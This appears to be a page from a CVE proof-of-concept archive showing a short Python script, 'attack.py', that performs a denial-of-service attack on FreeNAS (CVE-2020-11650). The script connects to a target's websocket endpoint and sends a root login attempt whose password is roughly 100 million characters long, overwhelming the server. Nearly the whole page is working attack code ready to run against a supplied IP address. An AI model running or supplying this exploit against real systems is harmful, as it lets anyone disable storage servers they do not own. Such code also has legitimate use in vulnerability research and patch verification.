4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / attack.py PY
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Date: 2020/01/22
# Author: weinull

# FreeNAS DoS
# CVE-2020-11650

import sys
import json
import websocket


def main():
    target = ''
    if len(sys.argv) > 1:
        target = sys.argv[1].strip()
    if not target:
        print('[+] Target unknown')
        print('[+] Example: python attack.py TargetIP')
        exit()
    try:
        ws = websocket.create_connection('ws://{}/websocket'.format(target), timeout=20)
        data = json.dumps({
            'msg': 'connect',
            'version': '1'
        })
        ws.send(data)
        result = ws.recv()
        print('[+] Connect: {}'.format(result))

        data = json.dumps({
            'msg': 'method',
            'id': json.loads(result)['session'],
            'method': 'auth.login',
            'params': ['root', 'x'*99999999]
        })
        print('[+] Send payload')
        ws.send(data)
        ws.close()
        print('[+] Attack done')
    except Exception as e:
        print('[+] Error: {}'.format(e))


if __name__ == '__main__':
    main()